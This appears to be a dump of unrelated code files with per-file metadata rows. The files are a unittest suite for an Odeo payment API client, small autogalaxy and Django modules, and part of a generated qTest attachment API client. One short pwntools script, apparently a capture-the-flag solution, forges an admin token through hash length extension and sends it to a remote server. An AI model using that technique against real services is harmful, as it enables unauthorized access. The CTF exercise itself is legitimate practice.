'message': message,
'status_code': 400,
'error_code': error_code
})
)
with self.assertRaises(error) as ctx:
self.client.cash.create_bulk_transfers([
Request(
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001'
)
])
self.assertEqual(str(ctx.exception), message)
def test_list_transfers(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/transfers',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'YRHRKTH0L7nFSVGTO3Ng07KKBIys7olErXdtQFLVTio='
},
text=json.dumps({
'transfers': [{
'transfer_id': '123',
'sender_user_id': '456',
'receiver_user_id': '789',
'amount': 1000000,
'reference_id': 'EXAMPLE-REF-ID-001',
'created_at': '1612137600'
}]
})
)
self.assertEqual(
TransfersList(
transfers=[
Transfer(
transfer_id='123',
sender_user_id=456,
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001',
created_at=datetime(2021, 2, 1)
)
],
),
self.client.cash.list_transfers()
)
def test_list_transfers_with_next_page_token(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/transfers',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'YRHRKTH0L7nFSVGTO3Ng07KKBIys7olErXdtQFLVTio='
},
text=json.dumps({
'transfers': [{
'transfer_id': '123',
'sender_user_id': '456',
'receiver_user_id': '789',
'amount': 1000000,
'reference_id': 'EXAMPLE-REF-ID-001',
'created_at': '1612137600'
}],
'next_page_token': 'abcdef'
})
)
self.assertEqual(
TransfersList(
transfers=[
Transfer(
transfer_id='123',
sender_user_id=456,
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001',
created_at=datetime(2021, 2, 1)
)
],
next_page_token='abcdef'
),
self.client.cash.list_transfers()
)
def test_list_transfers_with_parameters(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/transfers',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '9OFvffcuY/Jxg8wAFhvyidu8dLU9Ga/u5XbQas6e9hA='
},
text=json.dumps({
'transfers': [
{
'transfer_id': '11',
'sender_user_id': '22',
'receiver_user_id': '33',
'amount': 1000000,
'reference_id': 'REF-ID-111',
'created_at': '1612137600'
},
{
'transfer_id': '44',
'sender_user_id': '55',
'receiver_user_id': '66',
'amount': 2000000,
'reference_id': 'REF-ID-222',
'created_at': '1612137600'
}
],
'next_page_token': 'ghijkl'
})
)
self.assertEqual(
TransfersList(
transfers=[
Transfer(
transfer_id='11',
sender_user_id=22,
receiver_user_id=33,
amount=1000000,
reference_id='REF-ID-111',
created_at=datetime(2021, 2, 1)
),
Transfer(
transfer_id='44',
sender_user_id=55,
receiver_user_id=66,
amount=2000000,
reference_id='REF-ID-222',
created_at=datetime(2021, 2, 1)
)
],
next_page_token='ghijkl'
),
self.client.cash.list_transfers(
['REF-ID-111', 'REF-ID-222'],
start_date=datetime(2021, 2, 1),
end_date=datetime(2021, 4, 3),
page_token='abcdef'
)
)
def test_create_va_topup(self):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '7LtJU4UaR9yUuNzbLww1sYyMEM14ctQCnfp4bTp4++A='
},
text=json.dumps({
'channels': [{
'fee': '5000',
'channel_id': 31,
'pay_code': 'abcdef',
'amount': 1000000,
'total': 1005000
}],
'topup_id': '456',
'expires_at': '1612137600'
})
)
self.assertEqual(
Topup(
channels=[
Channel(
fee=5000,
channel_id=31,
pay_code='abcdef',
amount=1000000,
total=1005000
)
],
topup_id='456',
expires_at=datetime(2021, 2, 1)
),
self.client.cash.create_va_topup(1000000, 123)
)
def test_create_va_topup_failed_minimum_amount(self):
self._create_failed_create_va_topup(
InputValidationError, 10001, 'The amount must be at least 10000'
)
def test_create_va_topup_failed_maximum_amount(self):
self._create_failed_create_va_topup(
InputValidationError, 10001, 'The amount may not be greater than 1000000000000'
)
def test_create_va_topup_failed_sub_user_does_not_exists(self):
self._create_failed_create_va_topup(GeneralError, 10000, 'User not found')
def test_create_va_topup_failed_theres_already_topup_request(self):
self._create_failed_create_va_topup(GeneralError, 10000, 'Pending topup exists')
def _create_failed_create_va_topup(self, error, error_code, message):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '7LtJU4UaR9yUuNzbLww1sYyMEM14ctQCnfp4bTp4++A='
},
text=json.dumps({
'message': message,
'status_code': 400,
'error_code': error_code
})
)
with self.assertRaises(error) as ctx:
self.client.cash.create_va_topup(1000000, 123)
self.assertEqual(str(ctx.exception), message)
def test_find_active_va_topup(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/active',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '9JcNSUOjeLKP0ENLp671MTl4rYBX55iEtg6Q/V0dNo0='
},
text=json.dumps({
'channels': [{
'fee': '5000',
'channel_id': 31,
'pay_code': 'abcdef',
'amount': 1000000,
'total': 1005000
}],
'topup_id': '456',
'expires_at': '1612137600'
})
)
self.assertEqual(
Topup(
channels=[
Channel(
fee=5000,
channel_id=31,
pay_code='abcdef',
amount=1000000,
total=1005000
)
],
topup_id='456',
expires_at=datetime(2021, 2, 1)
),
self.client.cash.find_active_va_topup()
)
def test_find_active_va_topup_with_user_id_parameter(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/active',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'rdg9EpRwjKbHPRwos6L1clPGP15w6zHTUOUM+4uUk3A='
},
text=json.dumps({
'channels': [{
'fee': '5000',
'channel_id': 31,
'pay_code': 'abcdef',
'amount': 1000000,
'total': 1005000
}],
'topup_id': '456',
'expires_at': '1612137600'
})
)
self.assertEqual(
Topup(
channels=[
Channel(
fee=5000,
channel_id=31,
pay_code='abcdef',
amount=1000000,
total=1005000
)
],
topup_id='456',
expires_at=datetime(2021, 2, 1)
),
self.client.cash.find_active_va_topup(123)
)
def test_find_active_va_topup_failed_no_active_topup_order(self):
message = 'Order not found'
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/active',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'rdg9EpRwjKbHPRwos6L1clPGP15w6zHTUOUM+4uUk3A='
},
text=json.dumps({
'message': message,
'status_code': 400,
'error_code': 10000
})
)
with self.assertRaises(GeneralError) as ctx:
self.client.cash.find_active_va_topup(123)
self.assertEqual(str(ctx.exception), message)
def test_cancel_va_topup(self):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/cancel',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'Xx6lyK8XK7FJmwzQPVLngIMFUaIq4e+cYyue/nw/ET8='
},
text=json.dumps({})
)
self.assertEqual({}, self.client.cash.cancel_va_topup())
def test_cancel_va_topup_with_user_id_parameter(self):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/cancel',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'D1TXjaSBB5x+sCyzHgqz+hdXK0nu4fN6ClnZsRQYTPE='
},
text=json.dumps({})
)
self.assertEqual({}, self.client.cash.cancel_va_topup(123))
def test_cancel_va_topup_failed_no_active_topup_order(self):
self._create_failed_cancel_va_topup(GeneralError, 10000, 'Order not found')
def test_cancel_va_topup_failed_sub_user_does_not_exists(self):
self._create_failed_cancel_va_topup(GeneralError, 10000, 'User not found')
def test_cancel_va_topup_failed_not_the_order_owner(self):
self._create_failed_cancel_va_topup(
GeneralError, 10000, "You don't have credential to access this data."
)
def test_cancel_va_topup_failed_order_already_confirmed(self):
self._create_failed_cancel_va_topup(GeneralError, 10000, "Can't cancel this order.")
def _create_failed_cancel_va_topup(self, error, error_code, message):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/va-topup/cancel',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'D1TXjaSBB5x+sCyzHgqz+hdXK0nu4fN6ClnZsRQYTPE='
},
status_code=400,
text=json.dumps({
'message': message,
'status_code': 400,
'error_code': error_code
})
)
with self.assertRaises(error) as ctx:
self.client.cash.cancel_va_topup(123)
self.assertEqual(str(ctx.exception), message)
def test_get_balance(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/me/balance',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'ms3Xm918ZnQ8rayEjAvnV86uKTxQLqFv/7M6F+SJ1kk='
},
text=json.dumps({
'cash': {
'amount': 1000000,
'currency': 'IDR',
'formatted_amount': 'Rp1,000,000'
},
'locked_cash': {
'amount': 100000,
'currency': 'IDR',
'formatted_amount': 'Rp100,000'
}
})
)
self.assertEqual(
Balance(
cash=Cash(1000000, 'IDR', 'Rp1,000,000'),
locked_cash=Cash(100000, 'IDR', 'Rp100,000')
),
self.client.cash.get_balance()
)
def test_get_balance_with_user_id_parameter(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/123/balance',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '8ek7fHgiGmYXUDRO/7ygi2enSnxrAwEvEUDo13AJQJ8='
},
text=json.dumps({
'cash': {
'amount': 1000000,
'currency': 'IDR',
'formatted_amount': 'Rp1,000,000'
},
'locked_cash': {
'amount': 100000,
'currency': 'IDR',
'formatted_amount': 'Rp100,000'
}
})
)
self.assertEqual(
Balance(
cash=Cash(1000000, 'IDR', 'Rp1,000,000'),
locked_cash=Cash(100000, 'IDR', 'Rp100,000')
),
self.client.cash.get_balance(123)
)
def test_get_balance_failed_user_does_not_exists(self):
message = ''
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/123/balance',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': '8ek7fHgiGmYXUDRO/7ygi2enSnxrAwEvEUDo13AJQJ8='
},
text=json.dumps({
'message': message,
'status_code': 400,
'error_code': 10000
})
)
with self.assertRaises(GeneralError) as ctx:
self.client.cash.get_balance(123)
self.assertEqual(str(ctx.exception), message)
def test_get_transactions_history(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/transactions',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'mDAKk7c//3X7r4X6Q/G0EtlY0fq0Ix7xQG2Gn4oI/A4='
},
text=json.dumps({
'cash_transactions': [{
'cash_transaction_id': '123',
'user_id': '456',
'amount': 1000000,
'balance_before': 1000000,
'balance_after': 2000000,
'transaction_type': 'api_disbursement',
'created_at': '1612137600'
}],
'next_page_token': 'abcdef'
})
)
self.assertEqual(
TransactionsHistory(
cash_transactions=[
CashTransaction(
cash_transaction_id='123',
user_id='456',
amount=1000000,
balance_before=1000000,
balance_after=2000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 2, 1)
)
],
next_page_token='abcdef'
),
self.client.cash.get_transactions_history()
)
def test_get_transactions_history_with_parameters(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/transactions',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'cONLC0e0B/lAd7k0NV3TP7gOHTAAR5O5VzX7O8hUf5k='
},
text=json.dumps({
'cash_transactions': [{
'cash_transaction_id': '123',
'user_id': '456',
'amount': 1000000,
'balance_before': 1000000,
'balance_after': 2000000,
'transaction_type': 'api_disbursement',
'created_at': '1612137600'
}],
'next_page_token': 'abcdef'
})
)
self.assertEqual(
TransactionsHistory(
cash_transactions=[
CashTransaction(
cash_transaction_id='123',
user_id='456',
amount=1000000,
balance_before=1000000,
balance_after=2000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 2, 1)
)
],
next_page_token='abcdef'
),
self.client.cash.get_transactions_history(
start_date=datetime(2021, 2, 1),
end_date=datetime(2021, 4, 3),
page_token='ghijkl'
)
)
def test_get_sub_user_transactions_history(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/sub-user-transactions',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'Br3ynlMByEKQfm7IZFi96JQ3jHluDpuGPalutS49Vtk='
},
text=json.dumps({
'cash_transactions': [
{
'cash_transaction_id': '111',
'user_id': '456',
'amount': 1000000,
'balance_before': 1000000,
'balance_after': 2000000,
'transaction_type': 'api_disbursement',
'created_at': '1612137600'
},
{
'cash_transaction_id': '222',
'user_id': '789',
'amount': 3000000,
'balance_before': 3000000,
'balance_after': 4000000,
'transaction_type': 'api_disbursement',
'created_at': '1617408000'
}
],
'next_page_token': 'abcdef'
})
)
self.assertEqual(
TransactionsHistory(
cash_transactions=[
CashTransaction(
cash_transaction_id='111',
user_id='456',
amount=1000000,
balance_before=1000000,
balance_after=2000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 2, 1)
),
CashTransaction(
cash_transaction_id='222',
user_id='789',
amount=3000000,
balance_before=3000000,
balance_after=4000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 4, 3)
)
],
next_page_token='abcdef'
),
self.client.cash.get_transactions_history([456, 789])
)
def test_get_sub_user_transactions_history_with_parameters(self):
self.adapter.register_uri(
'GET',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/sub-user-transactions',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Accept': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'kFIBW9qN5Z3IKUR1blmXIwxgdluIPLffCw3Kz5sWSKU='
},
text=json.dumps({
'cash_transactions': [
{
'cash_transaction_id': '111',
'user_id': '456',
'amount': 1000000,
'balance_before': 1000000,
'balance_after': 2000000,
'transaction_type': 'api_disbursement',
'created_at': '1612137600'
},
{
'cash_transaction_id': '222',
'user_id': '789',
'amount': 3000000,
'balance_before': 3000000,
'balance_after': 4000000,
'transaction_type': 'api_disbursement',
'created_at': '1617408000'
}
],
'next_page_token': 'abcdef'
})
)
self.assertEqual(
TransactionsHistory(
cash_transactions=[
CashTransaction(
cash_transaction_id='111',
user_id='456',
amount=1000000,
balance_before=1000000,
balance_after=2000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 2, 1)
),
CashTransaction(
cash_transaction_id='222',
user_id='789',
amount=3000000,
balance_before=3000000,
balance_after=4000000,
transaction_type='api_disbursement',
created_at=datetime(2021, 4, 3)
)
],
next_page_token='abcdef'
),
self.client.cash.get_transactions_history(
user_ids=[456, 789],
start_date=datetime(2021, 2, 1),
end_date=datetime(2021, 4, 3),
page_token='ghijkl'
)
)
if __name__ == '__main__':
unittest.main()
| 36.88862
| 92
| 0.46938
| 2,446
| 30,470
| 5.57359
| 0.091169
| 0.018925
| 0.029267
| 0.033888
| 0.916893
| 0.900976
| 0.87743
| 0.865033
| 0.850803
| 0.821683
| 0
| 0.094154
| 0.429045
| 30,470
| 825
| 93
| 36.933333
| 0.689487
| 0
| 0
| 0.748052
| 0
| 0
| 0.202822
| 0.036232
| 0
| 0
| 0
| 0
| 0.033766
| 1
| 0.04026
| false
| 0
| 0.007792
| 0
| 0.049351
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d47bef9547a3fd2d84833f743336e05f901325ac
| 231
|
py
|
Python
|
autogalaxy/pipeline/phase/dataset/__init__.py
|
jonathanfrawley/PyAutoGalaxy_copy
|
1cedbfdcf65020538128163f7d8a7f8e169646e0
|
[
"MIT"
] | null | null | null |
autogalaxy/pipeline/phase/dataset/__init__.py
|
jonathanfrawley/PyAutoGalaxy_copy
|
1cedbfdcf65020538128163f7d8a7f8e169646e0
|
[
"MIT"
] | null | null | null |
autogalaxy/pipeline/phase/dataset/__init__.py
|
jonathanfrawley/PyAutoGalaxy_copy
|
1cedbfdcf65020538128163f7d8a7f8e169646e0
|
[
"MIT"
] | null | null | null |
from autogalaxy.pipeline.phase.dataset.analysis import Analysis
from autogalaxy.pipeline.phase.dataset.meta_dataset import MetaDataset
from autogalaxy.pipeline.phase.dataset.result import Result
from .phase import PhaseDataset
| 46.2
| 71
| 0.857143
| 29
| 231
| 6.793103
| 0.37931
| 0.213198
| 0.335025
| 0.411168
| 0.517767
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08658
| 231
| 4
| 72
| 57.75
| 0.933649
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
00ff0280c69bd48a9bdf409837524fae22486f88
| 44
|
py
|
Python
|
stepik/3559/66578/step_2/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
stepik/3559/66578/step_2/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
stepik/3559/66578/step_2/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
print(12345678987654321 + 98765432123456789)
| 44
| 44
| 0.886364
| 3
| 44
| 13
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.809524
| 0.045455
| 44
| 1
| 44
| 44
| 0.119048
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
2e8734da87c4e29aacb13f7da2d59d6eeb9a5556
| 652
|
py
|
Python
|
2018/bamboofox/baby-lea/hack.py
|
ss8651twtw/CTF
|
cf348597cb72558cc5cd8d50582860fadf014228
|
[
"MIT"
] | 12
|
2018-01-06T13:36:57.000Z
|
2021-07-19T16:47:57.000Z
|
2018/bamboofox/baby-lea/hack.py
|
ss8651twtw/Secure-Programming
|
cf348597cb72558cc5cd8d50582860fadf014228
|
[
"MIT"
] | null | null | null |
2018/bamboofox/baby-lea/hack.py
|
ss8651twtw/Secure-Programming
|
cf348597cb72558cc5cd8d50582860fadf014228
|
[
"MIT"
] | 2
|
2019-07-06T03:46:38.000Z
|
2019-10-28T15:15:36.000Z
|
#!/usr/bin/env python
from pwn import *
import base64
r = remote('bamboofox.cs.nctu.edu.tw', 58789)
token = 'user=someone\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0user=admin'
auth = 'e43ae12ce0024abef5a376eebfc2ac7fc5a73d6be3a4b871f203f53e12191b5c'
r.recvuntil('input your token: ')
r.sendline(base64.b64encode(token))
r.recvuntil('input your authentication code: ')
r.sendline(auth)
r.interactive()
| 36.222222
| 320
| 0.760736
| 116
| 652
| 4.275862
| 0.293103
| 0.822581
| 1.215726
| 1.596774
| 0.417339
| 0.417339
| 0.417339
| 0.417339
| 0.417339
| 0.417339
| 0
| 0.305195
| 0.055215
| 652
| 17
| 321
| 38.352941
| 0.5
| 0.030675
| 0
| 0
| 0
| 0.1
| 0.709984
| 0.630745
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cf14a64bffc62dafd0f491aa6173769252eb606e
| 660
|
py
|
Python
|
envelope/constants.py
|
affan2/django-envelope
|
7020b0e4f1cce2f3fed9336a7f8aa1abca9f9ae7
|
[
"MIT"
] | null | null | null |
envelope/constants.py
|
affan2/django-envelope
|
7020b0e4f1cce2f3fed9336a7f8aa1abca9f9ae7
|
[
"MIT"
] | null | null | null |
envelope/constants.py
|
affan2/django-envelope
|
7020b0e4f1cce2f3fed9336a7f8aa1abca9f9ae7
|
[
"MIT"
] | 1
|
2020-01-08T09:06:37.000Z
|
2020-01-08T09:06:37.000Z
|
from django.utils.translation import ugettext_lazy as _
STATE_TYPES = (
(-1, _('Deleted')),
(1, _('Replied')),
(2, _('Pending')),
)
COMPANY_CONTACT_CHOICES = (
("", u''),
("First choice", _('First choice')),
("Second choice", _('Second choice')),
("Third choice", _('Third choice')),
)
PRODUCT_CONTACT_CHOICES = (
("", u''),
("First choice", _('First choice')),
("Second choice", _('Second choice')),
("Third choice", _('Third choice')),
)
SOLUTIONS_CONTACT_CHOICES = (
("", u''),
("First choice", _('First choice')),
("Second choice", _('Second choice')),
("Third choice", _('Third choice')),
)
| 22.758621
| 55
| 0.565152
| 64
| 660
| 5.5
| 0.390625
| 0.1875
| 0.306818
| 0.170455
| 0.707386
| 0.707386
| 0.707386
| 0.707386
| 0.707386
| 0.707386
| 0
| 0.005703
| 0.20303
| 660
| 29
| 56
| 22.758621
| 0.663498
| 0
| 0
| 0.5
| 0
| 0
| 0.367625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.041667
| 0
| 0.041667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cf499af84beb69265b3abc71a15e54d59be34382
| 35,230
|
py
|
Python
|
swagger_client/apis/attachment_api.py
|
rcbops/qtest-swagger-client
|
28220aa95d878922ca4b35c325706932adabea4e
|
[
"Apache-2.0"
] | 1
|
2019-09-10T17:55:53.000Z
|
2019-09-10T17:55:53.000Z
|
swagger_client/apis/attachment_api.py
|
rcbops/qtest-swagger-client
|
28220aa95d878922ca4b35c325706932adabea4e
|
[
"Apache-2.0"
] | null | null | null |
swagger_client/apis/attachment_api.py
|
rcbops/qtest-swagger-client
|
28220aa95d878922ca4b35c325706932adabea4e
|
[
"Apache-2.0"
] | 2
|
2019-02-12T23:15:10.000Z
|
2022-03-11T20:08:28.000Z
|
# coding: utf-8
"""
qTest Manager API Version 8.6 - 9.1
qTest Manager API Version 8.6 - 9.1
OpenAPI spec version: 8.6 - 9.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class AttachmentApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def delete(self, project_id, blob_handle_id, object_type, object_id, **kwargs):
"""
Deletes an Attachment from an Object
To delete an Attachment from a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect <strong>qTest Manager version:</strong> 7.5+
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete(project_id, blob_handle_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param int blob_handle_id: ID of the Attachment (required)
:param str object_type: Valid values include releases, builds, requirements, test-cases, test-logs, test-steps or defects <strong>qTest Manager version:</strong> 4+ (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: Message
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.delete_with_http_info(project_id, blob_handle_id, object_type, object_id, **kwargs)
else:
(data) = self.delete_with_http_info(project_id, blob_handle_id, object_type, object_id, **kwargs)
return data
def delete_with_http_info(self, project_id, blob_handle_id, object_type, object_id, **kwargs):
"""
Deletes an Attachment from an Object
To delete an Attachment from a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect <strong>qTest Manager version:</strong> 7.5+
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_with_http_info(project_id, blob_handle_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param int blob_handle_id: ID of the Attachment (required)
:param str object_type: Valid values include releases, builds, requirements, test-cases, test-logs, test-steps or defects <strong>qTest Manager version:</strong> 4+ (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: Message
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['project_id', 'blob_handle_id', 'object_type', 'object_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'project_id' is set
if ('project_id' not in params) or (params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `delete`")
# verify the required parameter 'blob_handle_id' is set
if ('blob_handle_id' not in params) or (params['blob_handle_id'] is None):
raise ValueError("Missing the required parameter `blob_handle_id` when calling `delete`")
# verify the required parameter 'object_type' is set
if ('object_type' not in params) or (params['object_type'] is None):
raise ValueError("Missing the required parameter `object_type` when calling `delete`")
# verify the required parameter 'object_id' is set
if ('object_id' not in params) or (params['object_id'] is None):
raise ValueError("Missing the required parameter `object_id` when calling `delete`")
collection_formats = {}
resource_path = '/api/v3/projects/{projectId}/{objectType}/{objectId}/blob-handles/{blobHandleId}'.replace('{format}', 'json')
path_params = {}
if 'project_id' in params:
path_params['projectId'] = params['project_id']
if 'blob_handle_id' in params:
path_params['blobHandleId'] = params['blob_handle_id']
if 'object_type' in params:
path_params['objectType'] = params['object_type']
if 'object_id' in params:
path_params['objectId'] = params['object_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Authorization']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Message',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_attachment(self, project_id, attachment_id, object_type, object_id, **kwargs):
"""
Gets an Attachment of an Object
To retrieve an Attachment from a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect
This method makes a synchronous HTTP request by default. To make an
